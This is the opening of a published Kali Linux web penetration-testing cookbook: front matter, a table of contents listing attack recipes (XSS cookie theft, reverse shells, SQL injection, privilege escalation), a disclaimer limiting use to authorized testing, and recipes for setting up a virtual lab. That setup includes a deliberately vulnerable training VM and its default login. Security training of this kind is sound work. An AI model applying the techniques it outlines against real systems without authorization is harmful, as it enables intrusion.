Kali Linux Web Penetration Testing Cookbook
Second Edition

Identify, exploit, and prevent web application vulnerabilities with Kali Linux 2018.x

Gilberto Najera-Gutierrez

BIRMINGHAM - MUMBAI

Kali Linux Web Penetration Testing Cookbook Second Edition

Copyright © 2018 Packt Publishing

All rights reserved. No part of this book may be reproduced, stored in a retrieval system, or transmitted in any form or by any means, without the prior written permission of the publisher, except in the case of brief quotations embedded in critical articles or reviews.

Every effort has been made in the preparation of this book to ensure the accuracy of the information presented. However, the information contained in this book is sold without warranty, either express or implied. Neither the author, nor Packt Publishing or its dealers and distributors, will be held liable for any damages caused or alleged to have been caused directly or indirectly by this book.

Packt Publishing has endeavored to provide trademark information about all of the companies and products mentioned in this book by the appropriate use of capitals. However, Packt Publishing cannot guarantee the accuracy of this information.

Commissioning Editor: Gebin George
Acquisition Editor: Rahul Nair
Content Development Editor: Priyanka Deshpande
Technical Editor: Komal Karne
Copy Editor: Safis Editing
Project Coordinator: Drashti Panchal
Proofreader: Safis Editing
Indexer: Tejal Daruwale Soni
Graphics: Tom Scaria
Production Coordinator: Arvindkumar Gupta

First published: October 2016
Second edition: August 2018

Production reference: 1310818

Published by Packt Publishing Ltd.
Livery Place
35 Livery Street
Birmingham
B3 2PB, UK.

ISBN 978-1-78899-151-3

www.packtpub.com

mapt.io

Mapt is an online digital library that gives you full access to over 5,000 books and videos, as well as industry leading tools to help you plan your personal development and advance your career. For more information, please visit our website.

Why subscribe?

- Spend less time learning and more time coding with practical eBooks and Videos from over 4,000 industry professionals

- Improve your learning with Skill Plans built especially for you

- Get a free eBook or video every month

- Mapt is fully searchable

- Copy and paste, print, and bookmark content

PacktPub.com

Did you know that Packt offers eBook versions of every book published, with PDF and ePub files available? You can upgrade to the eBook version at www.PacktPub.com and as a print book customer, you are entitled to a discount on the eBook copy. Get in touch with us at service@packtpub.com for more details.

At www.PacktPub.com, you can also read a collection of free technical articles, sign up for a range of free newsletters, and receive exclusive discounts and offers on Packt books and eBooks.

Contributors

About the author

Gilberto Najera-Gutierrez is an experienced penetration tester currently working for one of the best security testing teams in Australia. He has successfully conducted penetration tests on networks and web applications for top corporations, government agencies, and financial institutions in Mexico and Australia.

Gilberto also holds world-leading professional certifications, such as Offensive Security Certified Professional (OSCP), GIAC Exploit Researcher, and Advanced Penetration Tester (GXPN).

Para Leticia y Alexa, gracias por el apoyo, la motivación y la paciencia durante este proyecto y por el amor y la felicidad de cada día. Las amo.

About the reviewer

Alex Samm has over 10 years' experience in the IT field, holding a BSc in computer science from the University of Hertfordshire. His experience includes EUC support, Linux and UNIX, server and network administration, security, and more.

He currently works at ESP Global Services and lectures at the Computer Forensics and Security Institute on IT security courses, including ethical hacking and penetration testing.

He recently reviewed Digital Forensics with Kali Linux by Shiva Parasram and Advanced Infrastructure Penetration Testing by Chiheb Chebbi published by Packt.

I'd like to thank my parents, Roderick and Marcia, for their continued support in my relentless pursuit for excellence; ESP's management, Vinod and Dianne; and CFSI's Shiva and Glen for their guidance and support.

Packt is searching for authors like you

If you're interested in becoming an author for Packt, please visit authors.packtpub.com and apply today. We have worked with thousands of developers and tech professionals, just like you, to help them share their insight with the global tech community. You can make a general application, apply for a specific hot topic that we are recruiting an author for, or submit your own idea.

Table of Contents

1. Title Page

2. Copyright and Credits

1. Kali Linux Web Penetration Testing Cookbook Second Edition

3. Packt Upsell

1. Why subscribe?

2. PacktPub.com

4. Contributors

1. About the author

2. About the reviewer

3. Packt is searching for authors like you

5. Preface

1. Who this book is for

2. What this book covers

3. To get the most out of this book

1. Download the example code files

2. Download the color images

3. Conventions used

4. Sections

1. Getting ready

2. How to do it...

3. How it works...

4. There's more...

5. See also

5. Get in touch

1. Reviews

6. Disclaimer

1. Setting Up Kali Linux and the Testing Lab

1. Introduction

2. Installing VirtualBox on Windows and Linux

1. Getting ready

2. How to do it...

3. How it works...

4. There's more...

5. See also

3. Creating a Kali Linux virtual machine

1. Getting ready

2. How to do it...

3. How it works...

4. There's more...

4. Updating and upgrading Kali Linux

1. How to do it...

2. How it works...

5. Configuring the web browser for penetration testing

1. How to do it...

2. How it works...

3. See also

6. Creating a client virtual machine

1. How to do it...

2. How it works...

3. See also

7. Configuring virtual machines for correct communication

1. Getting ready

2. How to do it...

3. How it works...

8. Getting to know web applications on a vulnerable virtual machine

1. Getting ready

2. How to do it...

3. How it works...

4. See also

2. Reconnaissance

1. Introduction

2. Passive reconnaissance

1. Getting ready

2. How to do it...

3. How it works...

4. See also

3. Using Recon-ng to gather information

1. Getting ready

2. How to do it...

3. How it works...

4. See also

4. Scanning and identifying services with Nmap

1. Getting ready

2. How to do it...

3. How it works...

4. There's more...

5. See also

5. Identifying web application firewalls

1. How to do it...

2. How it works...

6. Identifying HTTPS encryption parameters

1. Getting ready

2. How to do it...

3. How it works...

4. See also

7. Using the browser's developer tools to analyze and alter basic behavior

1. How to do it...

2. How it works...

3. There's more...

8. Obtaining and modifying cookies

1. Getting ready

2. How to do it...

3. How it works...

4. There's more...

9. Taking advantage of robots.txt

1. How to do it...

2. How it works...

3. Using Proxies, Crawlers, and Spiders

1. Introduction

2. Finding files and folders with DirBuster

1. Getting ready

2. How to do it...

3. How it works...

4. See also

3. Finding files and folders with ZAP

1. Getting ready

2. How to do it...

3. How it works...

4. See also

4. Using Burp Suite to view and alter requests

1. Getting ready

2. How to do it...

3. How it works...

4. See also

5. Using Burp Suite's Intruder to find files and folders

1. How to do it...

2. How it works...

6. Using the ZAP proxy to view and alter requests

1. How to do it...

2. How it works...

7. Using ZAP spider

1. How to do it...

2. How it works...

3. There's more

8. Using Burp Suite to spider a website

1. Getting ready

2. How to do it...

3. How it works...

4. There's more

9. Repeating requests with Burp Suite's repeater

1. Getting ready

2. How to do it...

3. How it works...

10. Using WebScarab

1. Getting ready

2. How to do it...

3. How it works...

11. Identifying relevant files and directories from crawling results

1. How to do it...

2. How it works...

4. Testing Authentication and Session Management

1. Introduction

2. Username enumeration

1. Getting ready

2. How to do it...

3. How it works...

3. Dictionary attack on login pages with Burp Suite

1. How to do it...

2. How it works...

3. There's more...

4. Brute forcing basic authentication with Hydra

1. Getting ready

2. How to do it...

3. How it works...

4. There's more...

5. See also

5. Attacking Tomcat's passwords with Metasploit

1. Getting ready

2. How to do it...

3. How it works...

4. There's more...

6. Manually identifying vulnerabilities in cookies

1. How to do it...

2. How it works...

3. There's more...

7. Attacking a session fixation vulnerability

1. How to do it...

2. How it works...

8. Evaluating the quality of session identifiers with Burp Sequencer

1. Getting ready

2. How to do it...

3. How it works...

4. See also

9. Abusing insecure direct object references

1. Getting ready

2. How to do it...

3. How it works...

10. Performing a Cross-Site Request Forgery attack

1. Getting ready

2. How to do it...

3. How it works...

4. See also

5. Cross-Site Scripting and Client-Side Attacks

1. Introduction

2. Bypassing client-side controls using the browser

1. How to do it...

2. How it works...

3. See also

3. Identifying Cross-Site Scripting vulnerabilities

1. How to do it...

2. How it works...

3. There's more...

4. Obtaining session cookies through XSS

1. How to do it...

2. How it works...

3. See also

5. Exploiting DOM XSS

1. How to do it...

2. How it works...

6. Man-in-the-Browser attack with XSS and BeEF

1. Getting ready

2. How to do it...

3. How it works...

4. There's more...

7. Extracting information from web storage

1. How to do it...

2. How it works...

3. There's more...

8. Testing WebSockets with ZAP

1. Getting ready

2. How to do it...

3. How it works...

9. Using XSS and Metasploit to get a remote shell

1. Getting ready

2. How to do it...

3. How it works...

6. Exploiting Injection Vulnerabilities

1. Introduction

2. Looking for file inclusions

1. How to do it...

2. How it works...

3. There's more...

3. Abusing file inclusions and uploads

1. Getting ready

2. How to do it...

3. How it works...

4. There's more...

4. Manually identifying SQL injection

1. How to do it...

2. How it works...

3. There's more...

5. Step-by-step error-based SQL injections

1. How to do it...

2. How it works...

6. Identifying and exploiting blind SQL injections

1. How to do it...

2. How it works...

3. There's more...

4. See also

7. Finding and exploiting SQL injections with SQLMap

1. How to do it...

2. How it works...

3. There's more...

4. See also

8. Exploiting an XML External Entity injection

1. Getting ready

2. How to do it...

3. How it works...

4. There's more...

5. See also

9. Detecting and exploiting command injection vulnerabilities

1. How to do it...

2. How it works...

7. Exploiting Platform Vulnerabilities

1. Introduction

2. Exploiting Heartbleed vulnerability using Exploit-DB

1. Getting ready

2. How to do it...

3. How it works...

4. There's more...

5. See also

3. Executing commands by exploiting Shellshock

1. How to do it...

2. How it works...

3. There's more...

4. Creating and capturing a reverse shell with Metasploit

1. How to do it...

2. How it works...

5. Privilege escalation on Linux

1. Getting ready

2. How to do it...

3. How it works...

4. See also

6. Privilege escalation on Windows

1. Getting ready

2. How to do it...

3. How it works...

4. See also

7. Using Tomcat Manager to execute code

1. How to do it...

2. How it works...

8. Cracking password hashes with John the Ripper by using a dictionary

1. Getting ready

2. How to do it...

3. How it works...

9. Cracking password hashes via Brute Force using Hashcat

1. Getting ready

2. How to do it...

3. How it works...

8. Using Automated Scanners

1. Introduction

2. Scanning with Nikto

1. How to do it...

2. How it works...

3. Considerations when doing automated scanning

1. How to do it...

2. How it works...

4. Finding vulnerabilities with Wapiti

1. How to do it...

2. How it works...

5. Using OWASP ZAP to scan for vulnerabilities

1. Getting ready

2. How to do it...

3. How it works...

4. There's more...

6. Scanning with Skipfish

1. How to do it...

2. How it works...

7. Finding vulnerabilities in WordPress with WPScan

1. How to do it...

2. How it works...

8. Finding vulnerabilities in Joomla with JoomScan

1. How to do it...

2. How it works...

9. Scanning Drupal with CMSmap

1. Getting ready

2. How to do it...

3. How it works...

9. Bypassing Basic Security Controls

1. Introduction

2. Basic input validation bypass in Cross-Site Scripting attacks

1. How to do it...

2. How it works...

3. There's more...

3. Exploiting Cross-Site Scripting using obfuscated code

1. How to do it...

2. How it works...

4. Bypassing file upload restrictions

1. How to do it...

2. How it works...

5. Avoiding CORS restrictions in web services

1. Getting ready

2. How to do it...

3. How it works...

6. Using Cross-Site Scripting to bypass CSRF protection and CORS restrictions

1. How to do it...

2. How it works...

7. Exploiting HTTP parameter pollution

1. How to do it...

2. How it works...

8. Exploiting vulnerabilities through HTTP headers

1. How to do it...

2. How it works...

10. Mitigation of OWASP Top 10 Vulnerabilities

1. Introduction

2. A1 &#x2013; Preventing injection attacks

1. How to do it...

2. How it works...

3. See also

3. A2 &#x2013; Building proper authentication and session management

1. How to do it...

2. How it works...

3. See also

4. A3 &#x2013; Protecting sensitive data

1. How to do it...

2. How it works...

5. A4 &#x2013; Using XML external entities securely

1. How to do it...

2. How it works...

6. A5 &#x2013; Securing access control

1. How to do it...

2. How it works...

7. A6 &#x2013; Basic security configuration guide

1. How to do it...

2. How it works...

8. A7 &#x2013; Preventing Cross-Site Scripting

1. How to do it...

2. How it works...

3. See also

9. A8 &#x2013; Implementing object serialization and deserialization

1. How to do it...

2. How it works...

10. A9 &#x2013; Where to look for known vulnerabilities on third-party components

1. How to do it...

2. How it works...

11. A10 &#x2013; Logging and monitoring for web applications' security

1. How to do it...

2. How it works...

11. Other Books You May Enjoy

1. Leave a review - let other readers know what you think

Preface

Nowadays, information security is a hot topic all over the news and the internet. We hear almost every day about web page defacement, data leaks of millions of user accounts and passwords or credit card numbers from websites, and identity theft on social networks. Terms such as cyberattack, cybercrime, hacker, and even cyberwar are becoming part of the daily lexicon in the media.

All this exposure to information security subjects and the very real need to protect both sensitive data and their reputations has made organizations more aware of the need to know where their systems are vulnerable, especially ones that are accessible to the world through the internet, how they could be attacked, and what the consequences would be in terms of information lost or systems being compromised if an attack were successful. Also, much more importantly, how to fix those vulnerabilities and minimize the risks.

The task of detecting vulnerabilities and discovering their impact on organizations can be addressed with penetration testing. A penetration test is an attack, or attacks, made by a trained security professional who uses the same techniques and tools real hackers use, to discover all of the possible weak spots in an organization's systems. Those weak spots are then exploited and the impact is measured. When the test is finished, the penetration tester reports all of their findings and suggests how future damage could be prevented.

In this book, we follow the whole path of a web application penetration test and, in the form of easy-to-follow, step-by-step recipes, show how the vulnerabilities in web applications and web servers can be discovered, exploited, and fixed.

Who this book is for

We have tried to write this book with many kinds of readers in mind. Firstly, computer science students, developers, and systems administrators who want to take their information security knowledge one step further or want to pursue a career in the field will find some very easy-to-follow recipes here that will allow them to perform their first penetration test in their own testing laboratory, and will also give them the basis and tools to continue practicing and learning.

Application developers and systems administrators will also learn how attackers behave in the real world, what steps can be followed to build more secure applications and systems, and how to detect malicious behavior.

Finally, seasoned security professionals will find some intermediate and advanced exploitation techniques, and ideas on how to combine two or more vulnerabilities in order to perform a more sophisticated attack.

What this book covers

Chapter 1, Setting up Kali Linux and the Testing Lab, takes the reader through the process of configuring and updating the system. The installation of virtualization software is also covered, including the configuration of the virtual machines that will compose our penetration testing lab.

Chapter 2, Reconnaissance, allows the reader to put into practice some information-gathering techniques in order to gain intelligence about the system to be tested, the software installed on it, and how the target web application is built.

Chapter 3, Using Proxies, Crawlers, and Spiders, guides the reader on how to use these tools, which are a must in every analysis of a web application, be it a functional one or a more security-focused one, such as a penetration test.

Chapter 4, Testing Authentication and Session Management, focuses on identifying and exploiting vulnerabilities commonly found in the mechanisms used by web applications to verify the identity of users and the authenticity of their actions.

Chapter 5, Cross-Site Scripting and Client-Side Attacks, introduces the reader to one of the most common and severe security flaws in web applications, Cross-Site Scripting, and other attacks that have other users as targets instead of the application itself.

Chapter 6, Exploiting Injection Vulnerabilities, covers several ways in which applications' functionalities may be abused to execute arbitrary code of different languages and systems, such as SQL and XML, among others, on the server side.

Chapter 7, Exploiting Platform Vulnerabilities, goes one step further in the analysis and exploitation of vulnerabilities by looking into the platform that supports the application. Vulnerabilities in the web server, operating systems, and development frameworks are covered in this chapter.

Chapter 8, Using Automated Scanners, covers a very important aspect of the discovery of vulnerabilities, the use of tools specially designed to automatically find security flaws in web applications: automated vulnerability scanners.

Chapter 9, Bypassing Basic Security Controls, moves on to the advanced topic of evasion and bypassing measures that are not properly implemented by developers when attempting to mitigate or fix vulnerabilities, leaving the application still open to attacks, although more complex ones.

Chapter 10, Mitigation of OWASP Top 10 Vulnerabilities, covers the topic of organizations hiring penetration testers to attack their servers and applications with the goal of knowing what's wrong in order to know what they should fix and how. The chapter covers that area of penetration testing by giving simple and direct guidelines on what to do to fix and prevent the most critical web application vulnerabilities according to Open Web Application Security Project (OWASP).

To get the most out of this book

To successfully follow all of the recipes in this book, the reader is recommended to have a basic understanding of the following topics:

- Linux OS installation

- Unix/Linux command-line usage

- HTML language

- PHP web application programming

The only hardware necessary is a personal computer, preferably with Kali Linux 2.0 installed, although it may have any other operating system capable of running VirtualBox or other virtualization software. As for specifications, the recommended setup is:

- Intel i5, i7, or a similar CPU

- 500 GB on the hard drive

- 8 GB on RAM

- An internet connection

Download the example code files

You can download the example code files for this book from your account at www.packtpub.com. If you purchased this book elsewhere, you can visit www.packtpub.com/support and register to have the files emailed directly to you.

You can download the code files by following these steps:

1. Log in or register at www.packtpub.com.

2. Select the SUPPORT tab.

3. Click on Code Downloads & Errata.

4. Enter the name of the book in the Search box and follow the onscreen instructions.

Once the file is downloaded, please make sure that you unzip or extract the folder using the latest version of:

- WinRAR/7-Zip for Windows

- Zipeg/iZip/UnRarX for Mac

- 7-Zip/PeaZip for Linux

The code bundle for the book is also hosted on GitHub at https://github.com/PacktPublishing/Kali-Linux-Web-Penetration-Testing-Cookbook-Second-Edition. In case there's an update to the code, it will be updated on the existing GitHub repository.

We also have other code bundles from our rich catalog of books and videos available at https://github.com/PacktPublishing/. Check them out!

Download the color images

We also provide a PDF file that has color images of the screenshots/diagrams used in this book. You can download it here: https://www.packtpub.com/sites/default/files/downloads/KaliLinuxWebPenetrationTestingCookbookSecondEdition_ColorImages.pdf.

Conventions used

There are a number of text conventions used throughout this book.

CodeInText: Indicates code words in text, database table names, folder names, filenames, file extensions, pathnames, dummy URLs, user input, and Twitter handles. Here is an example: "Let's test the communication; we are going to ping vm_ 1 from our Kali Linux."

A block of code is set as follows:

<html>
<script>
function submit_form()
{
document.getElementById('form1').submit();
}
</script>

When we wish to draw your attention to a particular part of a code block, the relevant lines or items are set in bold:

<html>
<script>
function submit_form()
{
document.getElementById('form1').submit();
}
</script>

Any command-line input or output is written as follows:

# sudo apt-get update

Bold: Indicates a new term, an important word, or words that you see onscreen. For example, words in menus or dialog boxes appear in the text like this. Here is an example: "Select System info from the Administration panel."

Warnings or important notes appear like this.

Tips and tricks appear like this.

Sections

In this book, you will find several headings that appear frequently (Getting ready, How to do it..., How it works..., There's more..., and See also).

To give clear instructions on how to complete a recipe, use these sections as follows:

Getting ready

This section tells you what to expect in the recipe and describes how to set up any software or any preliminary settings required for the recipe.

How to do it...

This section contains the steps required to follow the recipe.

How it works...

This section usually consists of a detailed explanation of what happened in the previous section.

There's more...

This section consists of additional information about the recipe in order to make you more knowledgeable about the recipe.

See also

This section provides helpful links to other useful information for the recipe.

Get in touch

Feedback from our readers is always welcome.

General feedback: Email feedback@packtpub.com and mention the book title in the subject of your message. If you have questions about any aspect of this book, please email us at questions@packtpub.com.

Errata: Although we have taken every care to ensure the accuracy of our content, mistakes do happen. If you have found a mistake in this book, we would be grateful if you would report this to us. Please visit www.packtpub.com/submit-errata, selecting your book, clicking on the Errata Submission Form link, and entering the details.

Piracy: If you come across any illegal copies of our works in any form on the internet, we would be grateful if you would provide us with the location address or website name. Please contact us at copyright@packtpub.com with a link to the material.

If you are interested in becoming an author: If there is a topic that you have expertise in and you are interested in either writing or contributing to a book, please visit authors.packtpub.com.

Reviews

Please leave a review. Once you have read and used this book, why not leave a review on the site that you purchased it from? Potential readers can then see and use your unbiased opinion to make purchase decisions, we at Packt can understand what you think about our products, and our authors can see your feedback on their book. Thank you!

For more information about Packt, please visit packtpub.com.

Disclaimer

The information within this book is intended to be used only in an ethical manner. Do not use any information from the book if you do not have written permission from the owner of the equipment. If you perform illegal actions, you are likely to be arrested and prosecuted to the full extent of the law. Packt Publishing does not take any responsibility if you misuse any of the information contained within the book. The information herein must only be used while testing environments with proper written authorizations from appropriate persons responsible.

Setting Up Kali Linux and the Testing Lab

In this chapter, we will cover:

- Installing VirtualBox on Windows and Linux

- Creating a Kali Linux virtual machine

- Updating and upgrading Kali Linux

- Configuring the web browser for penetration testing

- Creating a vulnerable virtual machine

- Creating a client virtual machine

- Configuring virtual machines for correct communication

- Getting to know web applications on a vulnerable virtual machine

Introduction

In this first chapter, we will cover how to prepare our Kali Linux installation to be able to follow all the recipes in the book and set up a laboratory with vulnerable web applications using virtual machines.

Installing VirtualBox on Windows and Linux

Virtualization is, perhaps, the most convenient tool when it comes to setting up testing laboratories or experimenting with different operating systems, since  it allows us to run multiple virtual computers inside our own without the need for any additional hardware.

Throughout this book, we will use VirtualBox as a virtualization platform to create our testing targets as well as our Kali Linux attacking machine.

In this first recipe, we will show you how to install VirtualBox on Windows and on any Debian-based GNU/Linux operating system (for example, Ubuntu).

It is not necessary for the reader to install both operating systems. The fact that this recipe shows both options is for the sake of completion.

Getting ready

If we are using Linux as a base operating system, we will need to update our software repository's information before installing anything on it. Open a Terminal and issue the following command:

# sudo apt-get update

How to do it...

The following steps need to be performed for installing VirtualBox:

1. To install VirtualBox in any Debian-based Linux VirtualBox, we can just open a Terminal and enter the following command:

# sudo apt-get install virtualbox

2. After the installation finishes, we will find VirtualBox in the menu by navigating
to Applications | Accessories | VirtualBox. Alternatively, we can call it from a Terminal:

# virtualbox

If you are using a Windows machine as a base system, skip to step 3.

3. In Windows, we need to download the VirtualBox installer from https://www.virtualbox.org/wiki/Downloads

4. Once the file is downloaded we open it and start the installation process.

5. In the first dialog box, click Next and follow the installation process.

6. We may be asked about installing network adapters from the Oracle corporation; we need to install these for the network in the virtual machines to work properly:

7. After the installation finishes, we just open VirtualBox from the menu:

8. Now we have VirtualBox running and we are ready to set up the virtual machines to make our own testing laboratory.

How it works...

VirtualBox will allow us to run multiple machines inside our computer through virtualization. With this, we can mount a full laboratory with different computers using different operating systems and run them in parallel as far as the memory resources and processing power of our host allow us to.

There's more...

The VirtualBox extension pack gives the VirtualBox's virtual machine extra features, such as USB 2.0/3.0 support and remote desktop capabilities. It can be downloaded from https://www.virtualbox.org/wiki/Downloads. After it is downloaded, just double-click on it and VirtualBox will do the rest.

See also

There are some other virtualization options out there. If you don't feel comfortable using VirtualBox, you may want to try the following:

- VMware Player/Workstation

- QEMU

- Xen

- Kernel-based Virtual Machine (KVM)

Creating a Kali Linux virtual machine

Kali is a GNU/Linux distribution built by Offensive Security that is focused on security and penetration testing. It comes with a multitude of tools preinstalled, including the most popular open source tools used by security professionals for reverse engineering, penetration testing, and forensic analysis.

We will use Kali Linux throughout this book as our attacking platform and we will create a virtual machine from scratch and install Kali Linux in it in this recipe.

Getting ready

Kali Linux can be obtained from its official download page https://www.kali.org/downloads/. For this recipe, we will use the 64-bit image (the first option on the page).

How to do it...

The process of creating a virtual machine in VirtualBox is pretty straightforward; let's look at this and perform the following steps:

1. To create a new virtual machine in VirtualBox, we can use the main menu, Machine | New, or click the New button.

2. New dialog will pop up; here, we choose a name for our virtual machine, the type, and the version of the operating system:

3. Next, we are asked about the memory size for this virtual machine. Kali Linux requires a minimum of 1 GB; we will set 2 GB for our virtual machine. This value depends on the resources of your system.

4. We click Next and get to the hard disk setup. Select Create a virtual hard disk now and click Create for VirtualBox to create a new virtual disk file in our host filesystem:

5. On the next screen, select these options:

- Dynamically allocated: This means the disk image for this virtual machine will be growing in size (in fact, it will be adding new virtual disk files) when we add or edit files in the virtual system.

- For Hard disk file type, pick VDI (VirtualBox Disk Image) and click Next.

- Next, we need to select where the files will be stored in our host filesystem and the maximum size they will have; this is the storage capacity for the virtual operating system. We leave the default location alone and select a 35.36 GB size. This depends on your base machine's resources, but should be at least 20 GB in order to install the requisite tools. Now, click on Create:

6. Once the virtual machine is created, select it and click Settings, and then go to Storage and select the CD icon under Controller: IDE. In the Attributes panel, click on the CD icon and select Choose Virtual Optical Disk File and browse to the Kali image downloaded from the official page. Then click OK:

7. We have created a virtual machine, but we still need to install the operating system. Start the virtual machine and it will boot using the Kali image we configured as the virtual CD/DVD. Use the arrows to select Graphical install and hit Enter:

8. We are starting the installation process. On the next screens, select the language, keyboard distribution, hostname, and domain for the system.

9. After that, you will be asked for a Root password; root is the administrative, all-powerful user in Unix-based systems and, in Kali, it is the default login account. Set a password, confirm it, and click Continue:

10. Next, we need to select the time zone, followed by configuration of the hard disk; we will use guided setup using the entire disk:

11. Select the disk on which you want to install the system (there should only be one).

12. The next step is to select the partitioning options; we will use All files in one partition.

13. Next, we need to confirm the setup by selecting Finish partitioning and write changes to disk and clicking Continue. Then select Yes to write the changes and Continue again on the next screen. This will start the installation process:

14. When the installation is finished, the installer will ask you to configure the package manager. Answer Yes to Use a network mirror and set up your proxy configuration; leave it blank if you don't use a proxy to connect to the internet.

15. The final step is to configure the GRUB loader: just answer Yes and, on the next screen, select the hard disk from the list. Then, click Continue and the installation will be complete.

16. Click Continue in the Installation complete window to restart the VM.

17. When the VM restarts, it will ask for a username; type root and hit Enter. Then enter the password you set for the root user to log in. Now we have Kali Linux installed.

How it works...

In this recipe, we created our first virtual machine in VirtualBox, set the reserved amount of memory our base operating system will share with it, and created a new virtual hard disk file for the VM to use and set the maximum size. We also configured the VM to start with a CD/DVD image and, from there, installed Kali Linux the same way we would install it on a physical computer.

To install Kali Linux, we used the graphical installer and selected guided disk partitioning, this is, when we install an operating system, especially a Unix-based one, we need to define which parts of the system are installed (or mounted) in which partitions of the hard disk; luckily for us, Kali Linux's installation can take care of that and we only need to select the hard disk and confirm the proposed partitioning. We also configured Kali to use the network repositories for the package manager. This will allow us to install and update software from the internet and keep our system up to date.

There's more...

There are different (and easier) ways to get Kali Linux running in a virtual machine. For example, there are pre-built virtual machine images available to download from the Offensive Security site: https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-hyperv-image-download/. We chose this method as it involves the complete process of creating a virtual machine and installing Kali Linux from scratch.

Updating and upgrading Kali Linux

Before we start testing the security of our web application, we need to be sure that we have all the necessary up-to-date tools. This recipe covers the basic task of maintaining the most up-to-date Kali Linux tools and their most recent versions. We will also install the web applications testing meta-package.

How to do it...

Once you have a working instance of Kali Linux up and running, perform the following steps:

1. Log in as a root on Kali Linux; and open a Terminal.

2. Run the apt-get update command. This will download the updated list of packages (applications and tools) that are available to install:

3. Once the update is finished, run the apt-get full-upgrade command to update the system to the latest version:

4. When asked to continue, press Y and then press Enter.

5. Now, we have our Kali Linux up to date and ready to continue.

6. Although Kali comes with a good set of tools preinstalled, there are some others that are included in its software repositories but not installed by default. To be sure we have everything we need for web application penetration testing, we install the kali-linux-web meta-package by entering the apt-get install kali-linux-web command:

7. We can find the tools we have installed in the Applications menu under 03 - Web Applications Analysis:

How it works...

In this recipe, we have covered a basic procedure for package updates in Debian-based systems (such as Kali Linux) by using the standard software manager, apt. The first call to apt-get with the update parameter downloaded the most recent list of packages available for our specific system in the configured repositories. As Kali Linux is now a rolling distribution, this means that it is constantly updated and that there are no breaks between one version and the next; the full-upgrade parameter downloads and installs system (such as kernel and kernel modules) and non-system packages up to their latest version. If no major changes have been made, or we are just trying to keep an already installed version up to date, we can use the upgrade parameter instead.

In the last part of this recipe, we installed the kali-linux-web meta-package. A meta-package for apt is an installable package that contains many other packages, so we only need to install one package and all of the ones included will be installed. In this case, we installed all web penetration testing tools included in Kali Linux.

Configuring the web browser for penetration testing

Most web penetration testing happens in the client, that is, in the web browser; hence, we need to prepare our browser to make it a useful tool for our purposes. In this recipe, we will do that by adding several plugins to the Firefox browser installed in Kali Linux by default.

How to do it...

Firefox is a very flexible browser that fits the purpose of web penetration testing very well; it also comes pre-installed in Kali Linux. Let's customize it a little bit to make it better using the following steps:

1. Open Firefox and go to Add-ons in the menu:

2. In the search box, type wappalyzer to look for the first plugin we will install:

3. Click Install in the Wappalyzer add-on to install it. You may also need to confirm the installation.

4. Next, we search for FoxyProxy.

5. Click on Install.

6. Now search for and install Cookies Manager+.

7. Search for and install HackBar.

8. Search for and install HttpRequester.

9. Search for and install RESTClient.

10. Search for and install User-Agent Switcher.

11. Search for and install Tampermonkey.

12. Search for and install Tamper Data and Tamper Data Icon Redux.

13. The list of extensions installed should look like the following screenshot:

How it works...

So far, we've just installed some tools in our web browser, but what are these tools good for when it comes to penetration testing a web application? The add-ons installed are as follows:

- HackBar: A very simple add-on that helps us try different input values without having to change or rewrite the full URL. We will be using this a lot when doing manual checks for cross-site scripting and injections. It can be activated using the F9 key.

- Cookies Manager+: This add-on will allow us to view and sometimes modify the value of cookies the browser receives from the applications.

- User-Agent Switcher: This add-on allows us to modify the user-agent string (the browser identifier) that is sent in all requests to the server. Applications sometimes use this string to show or hide certain elements depending on the browser and operating system used.

- Tamper Data: This add-on has the ability to capture any request to the server just after it is sent by the browser, giving us the chance to modify the data after introducing it in the application's forms and before it reaches the server. Tamper Data Icon Redux only adds an icon.

- FoxyProxy Standard: A very useful extension that lets us change the browser's proxy settings in one click using user-provided presets.

- Wappalyzer: This is a utility to identify the platforms and developing tools used in websites. This is very useful for fingerprinting the web server and the software it uses.

- HttpRequester: With this tool, it is possible to craft HTTP requests, including get, post, and put methods, and to watch the raw response from the server.

- RESTClient: This is basically a request generator like HTTP requester, but focused on REST web services. It includes options to add headers, different authentication modes, and get, post, put, and delete methods.

- Tampermonkey: This is an extension that will allow us to install user scripts in the browser and make on-the-fly changes to web page content before or after they load. From a penetration testing point of view, this is useful to bypass client-side controls and other client code manipulations.

See also

Other add-ons that could prove useful for web application penetration testing are the following:

- XSS Me

- SQL Inject Me

- iMacros

- FirePHP

Creating a client virtual machine

Now, we are ready to create our next virtual machine; it will be the server that will host the web applications we'll use to practice and improve our penetration testing skills.

We will use a virtual machine called OWASP Broken Web Apps (BWA), which is a collection of vulnerable web applications specially set up to perform security testing.

How to do it...

OWASP BWA is hosted in SourceForge, a popular repository for open source projects. The following steps will help us in creating a vulnerable virtual machine:

1. Go to http://sourceforge.net/projects/owaspbwa/files/ and download the latest release of the .ova file. At the time of writing, it is OWASP_Broken_Web_Apps_VM_1.2.ova:

2. Wait for the download to finish and then open the file.

3. VirtualBox's import dialog will launch. If you want to change the machine's name or description, you can do so by double-clicking on the values. Here, you can change the name and options for the virtual machine; we will leave them as they are. Click on Import:

4. The import should take a minute and, after that, we will see our virtual machine displayed in VirtualBox's list. Let's select it and click on Start.

5. After the machine starts, we will be asked for a login and password; type root as the login, and owaspbwa as the password, and we are set.

How it works...

OWASP BWA is a project aimed at providing security professionals and enthusiasts with a safe environment to develop attacking skills and identify and exploit vulnerabilities in web applications, in order to be able to help developers and administrators fix and prevent them.

This virtual machine includes different types of web applications; some of them are based
on PHP, some in Java. We even have a couple of .NET-based vulnerable applications. There
are also some vulnerable versions of known applications, such as WordPress or Joomla.

See also

There are many options when we talk about vulnerable applications and virtual machines. A remarkable website that holds a great collection of such applications is VulnHub (https://www.vulnhub.com/). It also has walkthroughs that will help you to solve some challenges and develop your skills.

In this book, we will use another virtual machine for some recipes, bWapp bee-box, which can be downloaded from the project's site: https://sourceforge.net/projects/bwapp/files/bee-box/.

There are also virtual machines that are thought of as self-contained web penetration testing environments, in other words, they contain vulnerable web applications, but also the tools for testing and exploiting the vulnerabilities. A couple of other relevant examples are:

- Samurai web testing framework: https://sourceforge.net/projects/samurai

- Web Security Dojo: https://www.mavensecurity.com/resources/web-security-dojo

Configuring virtual machines for correct communication

To be able to communicate with our virtual server and client, we need to be in the same network segment; however, having virtual machines with known vulnerabilities in our local network may pose an important security risk. To avoid this risk, we will perform a special configuration in VirtualBox to allow us to communicate with both server and client virtual machines from our Kali Linux host without exposing them to the network.

Getting ready

Before we proceed, open VirtualBox and make sure that the vulnerable server and client virtual machines are turned off.

How to do it...

